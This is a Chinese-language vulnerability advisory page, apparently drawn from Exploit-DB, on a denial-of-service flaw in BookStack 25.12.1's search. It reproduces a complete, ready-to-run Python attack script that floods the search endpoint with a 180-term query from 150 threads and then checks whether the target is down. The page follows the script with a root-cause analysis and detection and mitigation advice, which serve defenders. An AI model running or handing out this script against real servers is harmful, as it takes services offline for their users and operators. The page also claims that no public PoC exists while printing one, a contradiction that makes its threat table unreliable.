[webapps] BookStack 25.12.1 - Denial of Service
漏洞
High · CVSS N/A📋 漏洞基础信息
| CVE | 未分配CVE |
|---|---|
| 漏洞类型 | 漏洞 |
| 受影响版本 | 详见原文 |
| 危害等级 | High · CVSS N/A |
| 发布日期 | 2026-05-21 |
| 提交者 | Gabriel Rodrigues (TEXUGO) |
| 来源 | Exploit-DB 原文 ↗ |
⚔️ PoC / Exploit 脚本
以下为针对该漏洞的独立利用脚本(Python),可在具备相应环境的机器上直接运行:
#!/usr/bin/env python3
"""
BookStack 25.12.1 - 搜索资源耗尽拒绝服务攻击 (DoS) PoC
CVE: 未分配 (Request ID: 1970573)
漏洞利用作者: Gabriel Rodrigues (TEXUGO)
原理:
该漏洞利用 BookStack 搜索功能未对搜索词数量进行有效限制。
攻击者通过构造一个包含大量搜索词(普通词、精确短语、标签)的恶意查询字符串,
导致后端数据库生成包含大量 'OR LIKE' 子句和低效查询计划的 SQL 查询。
这会导致数据库和 Web 服务器 CPU 和内存资源被快速耗尽,造成拒绝服务。
依赖安装:
pip install requests
用法:
python3 poc_bookstack_dos.py <BookStack基础URL> [<Cookie字符串>]
示例:
无需认证:
python3 poc_bookstack_dos.py http://192.168.1.100:8080
需要认证:
python3 poc_bookstack_dos.py http://192.168.1.100:8080 "cookie_name=cookie_value; session=abc123"
"""
import requests
import sys
import time
from urllib.parse import quote
from concurrent.futures import ThreadPoolExecutor
# 全局停止标志,用于控制攻击线程
stop_attack = False
def generate_payload():
"""
生成恶意搜索负载。
组合 100 个普通词 + 50 个精确短语 + 30 个标签,共 180 个搜索项。
这会生成一个包含大量 'OR' 操作的复杂查询。
"""
terms = [f"t{i}" for i in range(100)] # 普通搜索词
exact_phrases = [f'"e{i}"' for i in range(50)] # 精确短语
tags = [f"[t{i}=v{i}]" for i in range(30)] # 标签
payload = " ".join(terms + exact_phrases + tags)
return payload
def perform_attack(search_url, headers):
"""
单个攻击线程函数。
持续不断地发送构造好的恶意搜索请求,直到收到停止信号。
"""
global stop_attack
# 使用独立的 Session 以复用连接
session = requests.Session()
while not stop_attack:
try:
# 发送请求,设置 30 秒超时
session.get(search_url, headers=headers, timeout=30, verify=False)
# 不打印成功信息,避免刷屏
except requests.exceptions.Timeout:
# 超时是预期行为,说明服务正在受到影响
pass
except Exception:
# 忽略其他异常(如连接错误),继续攻击
pass
def main():
global stop_attack
# 检查命令行参数
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <BookStack基础URL> [<Cookie字符串>]")
print(f"示例: {sys.argv[0]} http://192.168.1.100:8080")
print(f"示例: {sys.argv[0]} http://192.168.1.100:8080 'session_id=abc123'")
sys.exit(1)
# 解析参数
base_url = sys.argv[1].rstrip("/")
cookie_string = sys.argv[2] if len(sys.argv) > 2 else None
# 生成恶意负载
malicious_payload = generate_payload()
# 构造完整的搜索 URL
# 搜索参数 'term' 对应 BookStack 的搜索功能
encoded_payload = quote(malicious_payload)
search_url = f"{base_url}/search?term={encoded_payload}"
# 设置请求头
headers = {
"User-Agent": "Mozilla/5.0 (BookStack-DoS-PoC)",
}
if cookie_string:
headers["Cookie"] = cookie_string
# 打印攻击信息
print(f"[*] 目标: {base_url}")
print(f"[*] 攻击 URL: {search_url[:100]}...")
print(f"[*] URL 总长度: {len(search_url)} 字节")
print(f"[*] 搜索负载长度: {len(malicious_payload)} 字符")
print(f"[*] 搜索项数量: 100(普通词) + 50(精确短语) + 30(标签) = 180 项")
print(f"[*] 启动 150 个并发线程进行攻击...")
print(f"[*] 攻击将持续 30 秒,然后进行状态检查...\n")
# 使用线程池启动 150 个并发攻击线程
# 高并发可以更快耗尽服务器资源
executor = ThreadPoolExecutor(max_workers=150)
futures = [executor.submit(perform_attack, search_url, headers) for _ in range(150)]
# 等待 30 秒让攻击充分发挥作用
time.sleep(30)
# 停止所有攻击线程
stop_attack = True
executor.shutdown(wait=False)
print("[*] 攻击线程已停止。\n")
print("[*] 开始检查目标状态...\n")
# 检查目标状态,验证 DoS 效果
print("时间 | 状态 | HTTP状态码")
print("-" * 30)
for i in range(15):
try:
# 向目标首页发送一个简单的 GET 请求
# 设置非常短的超时 (3秒) 来检测服务是否响应
response = requests.get(base_url, headers=headers, timeout=3)
# 如果能正常响应,说明服务可能还在运行
print(f"[{(i+1)*2:2d}s] 在线 | {response.status_code}")
except requests.exceptions.Timeout:
# 超时是经典的 DoS 成功标志
print(f"[{(i+1)*2:2d}s] 离线 | 请求超时 (3秒)")
except requests.exceptions.ConnectionError:
# 连接错误也表示服务不可用
print(f"[{(i+1)*2:2d}s] 离线 | 连接失败")
except Exception as e:
print(f"[{(i+1)*2:2d}s] 错误 | {type(e).__name__}")
# 每 2 秒检查一次
time.sleep(2)
print("\n[*] 验证完成。")
print("[*] 注意:如果服务器持续没有恢复,可能需要手动重启服务。")
if __name__ == "__main__":
# 忽略 SSL 警告(如果目标使用自签名证书)
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
main()🔬 深度技术分析
漏洞触发机制
该漏洞属于典型的资源耗尽型拒绝服务攻击 (Resource Exhaustion DoS),其根因在于 BookStack 的搜索功能在处理用户输入时,未对搜索词条的数量和复杂度进行有效限制。
1. 搜索功能设计缺陷:BookStack 的搜索功能允许用户输入包含多种元素的查询字符串,包括:
* 普通单词 (word)
* 精确短语 ("exact phrase")
* 标签 ([tag_name=tag_value])
* 布尔操作符 (OR, AND)
2. 后端查询构建:当 BookStack 解析这些搜索词时,它会将它们转换为 SQL 查询。一个关键的缺陷是,每个搜索词都会被转换为一个独立的 LIKE 子句,并通过 OR 连接。对于包含 180 个搜索项的恶意负载,最终生成的 SQL 查询可能类似于:
```sql
SELECT ... FROM ... WHERE
(name LIKE '%t0%' OR description LIKE '%t0%' ...) OR
(name LIKE '%t1%' OR description LIKE '%t1%' ...) OR
...
(name LIKE '%e0%' OR description LIKE '%e0%' ...) OR
...
-- 以及涉及标签表的复杂 JOIN 和子查询
```
3. 数据库资源耗尽:
* CPU 高消耗:数据库引擎(如 MySQL)需要解析和执行这个极其复杂的 WHERE 子句。大量的 OR 操作和 % 通配符(无法利用索引)会导致数据库执行全表扫描 (Full Table Scan)。对于内容类表(如 pages, chapters),表中的记录数可能很多,全表扫描加上复杂的 OR 条件会使 CPU 使用率瞬间飙升。
* 内存高消耗:数据库需要为这个临时结果集分配内存。一个包含 180 个 LIKE 条件的查询,其查询计划树非常庞大,会消耗大量内存来存储中间结果。对于 PHP-FPM(FastCGI 进程管理器)来说,处理这个请求的 PHP 进程也会因为等待数据库响应而阻塞,并消耗内存。
* 连接池耗尽:150 个并发攻击线程会在短时间内发起大量请求,迅速填满 Web 服务器的连接池(如 PHP-FPM 的子进程数)和数据库的连接池。新的请求将被排队或拒绝,导致服务不可用。
利用链分析
攻击者执行该攻击的步骤非常简单直接,不需要特殊的权限或知识。
1. 信息收集:
* 确定目标 BookStack 实例的基础 URL,例如 http://target.bookstack.com。
* 判断目标是否需要认证。如果需要,攻击者需要获取一个有效的 Cookie(例如,通过注册一个普通用户账号或使用其他方式获得)。该漏洞在未认证状态下同样有效,因为搜索功能通常对游客或最低权限用户开放。
2. 构造恶意负载:
* 生成大量搜索词:如代码所示,生成 100 个随机普通词 (t0, t1, …)、50 个精确短语 (e0, e1, …) 和 30 个标签 (t0=v0, …),总共 180 个搜索项。
* URL 编码:使用 urllib.parse.quote() 对负载进行 URL 编码,使其可以安全地放入 HTTP GET 请求的 URL 参数中。
3. 发动攻击:
* 单次请求:直接向 {base_url}/search?term={encoded_payload} 发送一个 HTTP GET 请求。这个单独的请求就有可能导致轻微的性能下降。
* 并发放大:为了达到拒绝服务效果,攻击者使用 Python 的 concurrent.futures.ThreadPoolExecutor 创建 150 个并发线程。这些线程会持续不断地发送上述构造好的恶意请求。通过这种方式,攻击者在一个很短的时间窗口内,对服务器发送了远远超过其处理能力的计算量。
4. 效果验证:
* 在持续攻击 30 秒后,停止所有攻击线程。
* 使用一个简单的客户端,以较低的频率(每 2 秒一次)和短暂的超时时间(3 秒)向服务器发送普通的 HTTP 请求。
* 观察服务器响应:
* 请求超时 (Timeout):服务器进程(PHP-FPM)或数据库连接池被完全占满,无法接受新连接。
* 连接失败 (Connection Error):Web 服务器(如 Nginx)因后端(PHP-FPM)无响应而主动拒绝连接。
* 服务恢复:如果攻击停止后,服务器在一段时间内恢复正常,则证明 DoS 攻击成功。在某些情况下,如果资源消耗导致进程崩溃,攻击效果可能是持久的,需要人工介入。
关键代码/数据结构
urllib.parse.quote():Python 标准库函数。用于对恶意搜索负载进行 URL 编码,确保特殊字符(如空格、引号、方括号)能作为 URL 查询参数的值被正确传输,不会被浏览器或服务器解析为 URL 结构的一部分。concurrent.futures.ThreadPoolExecutor(max_workers=150):Python 并发执行框架。用于创建一个包含 150 个线程的池,能够高效地发起大量并发的网络请求,模拟分布式拒绝服务的攻击流量。requests.Session():Pythonrequests库的会话对象。在持续的请求中重用 TCP 连接,可以减少握手开销,提高攻击效率,使其能够最大化对被攻击服务器的负担。requests.get(url, timeout=3):核心攻击和验证函数。timeout参数至关重要,它允许客户端在服务器无响应时快速失败(抛出Timeout异常),而不会无限等待。在攻击阶段,我们不关心响应;在验证阶段,我们利用这个超时来判断服务器的健康状态。- SQL查询中的
LIKE '%...%':这是数据库端性能瓶颈的根源。%通配符放在搜索词前后,意味着数据库无法使用标准的 B-Tree 索引来加速查询,必须进行效率最低的全表扫描。对于一个有成千上万条记录的表,执行几十上百个这样的OR LIKE操作,其计算量是巨大的。
检测与防御
蓝队检测方法
1. 日志分析(Web 服务器访问日志):
* 异常长的请求 URL:寻找 term= 参数后跟有异常长且包含大量随机词和特殊符号(如%22代表",%5B代表[)的 GET 请求。特征:GET /search?term=t0%20t1%20t2...e0%20e1%20e2...[t0=v0]... HTTP/1.1。
* 相同 IP 的高频请求:单个 IP 地址在短时间内(如 1-2 秒内)对 /search 端点发起大量请求。
* 非正常 User-Agent:攻击脚本通常使用自定义的 User-Agent,如本例中的 Mozilla/5.0 (BookStack-DoS-PoC),这是一个明显的检测特征。
* HTTP 状态码变化:攻击期间,可能出现大量 503 Service Unavailable(后端过载)或 502 Bad Gateway(后端无响应)。攻击后恢复时,恢复正常 200 状态码。
2. 性能监控(服务器端):
* CPU 使用率:数据库服务器(MySQL/MariaDB)和 Web 服务器(PHP-FPM)的 CPU 使用率会瞬间飙升到 100%。
* 数据库连接数:数据库的活动连接数会迅速增加并达到上限。
* PHP-FPM 进程数:PHP-FPM 的活动进程数会迅速达到 pm.max_children 配置的上限。
* 网络流量:虽然单个请求的包大小不大,但高并发会导致入站带宽被占满。
防御与缓解措施
1. 应用层防御(优先修复):
* 限制搜索词数量:在 BookStack 后端代码中,对 $_GET['term'] 进行分割后,检查其元素数量。如果超过一个安全阈值(例如 10 个),则直接返回 400 Bad Request 或截断多余的词。这是最根本的修复方式。
* 输入验证与清理:拒绝或忽略格式异常的搜索词,如过长的精确短语或标签。
* 设置查询超时:在数据库查询中设置 max_execution_time(MySQL 5.6+)或类似的机制。当单个查询执行时间超过阈值(如 5 秒)时,数据库自动终止该查询,防止其持续占用资源。
2. Web 服务器/反向代理层(Nginx):
* 限制请求速率 (Rate Limiting):使用 limit_req 模块对 /search 端点进行限流。例如,允许每个 IP 每 1 秒只能访问 /search 端点 5 次。
* 限制请求体/请求 URL 大小:使用 large_client_header_buffers 或 client_header_buffer_size 限制客户端请求的 URL 长度。超过长度的请求直接拒绝。
* 限制并发连接数 (Connection Limiting):使用 limit_conn 模块限制单个 IP 的并发连接数。
3. 数据库层:
* 资源限制:使用 ulimit 限制 MySQL 进程可以使用的 CPU 和内存资源。
* 长查询监控:开启 MySQL 的 slow query log,并设置一个低的 long_query_time(例如 2 秒)。定期分析日志,定位并优化低效查询。对于无法优化的恶意查询,在应用层直接拦截。
* WAF 规则:部署 Web 应用防火墙 (WAF),配置规则来识别并拦截包含大量 LIKE 或 OR 关键字的恶意搜索请求。例如,ModSecurity 的 REQUEST-912-DOS-PROTECTION.conf 规则集可以用于检测 DoS 攻击。
🛡️ 修复建议
请升级到厂商最新安全版本。
📎 参考链接
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-22 08:11 | 来源: Exploit-DB